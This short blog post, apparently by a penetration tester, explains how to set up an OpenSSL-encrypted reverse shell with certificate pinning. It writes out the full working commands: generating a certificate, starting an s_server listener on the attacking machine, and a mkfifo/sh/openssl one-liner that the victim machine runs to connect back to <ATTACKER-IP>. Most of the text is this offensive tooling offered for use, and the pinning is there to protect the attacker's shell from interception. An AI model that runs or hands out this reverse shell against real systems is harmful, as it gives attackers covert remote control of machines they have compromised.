Openssl Reverse Shell with Certificate Pinning
Since my last article about reverse shells I made some progress. I added support for certificate pinning. This provides another layer of security. This makes it impossible for any interceptor to take over the shell with a MITM attack.
Example
Certificate
Create a certificate on the attacking machine:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Listener
Start the listener on the attacking machine:openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
Reverse Shell
Start the reverse shell on the victim machine through any form of code execution. Be sure to upload the cert.pem
in a secure manner beforehand and make it accessible. mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -CAfile /tmp/cert.pem -verify_return_error -verify 1 -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
The option -verify 1
checks the certificate chain to a depth of 1. So it checks only the one certificate provided in cert.pem
. This works for all self-signed certificates. If you use a longer certificate chain for whatever reason, you have to adjust this value accordingly.
The option -verify_return_error
will terminate the connection, if the certificate chain cannot be verified. You can test this in your lab by generating a second key pair and certificate and connect with the “wrong” certificate. You will see that the connection comes in, but will be reset during the handshake due to the certificate error. You will be notified about that on the attacker machine, too. Experiencing this in the wild is a sign that somebody tried to intercept your shell.
If you encounter any problems or bugs, please feel free to contact me. I would like to make this reverse shell as secure and usable as possible.
Note: If you like to use Metasploit instead of a classic reverse shell you will love the Meterpreter Pranoid Mode.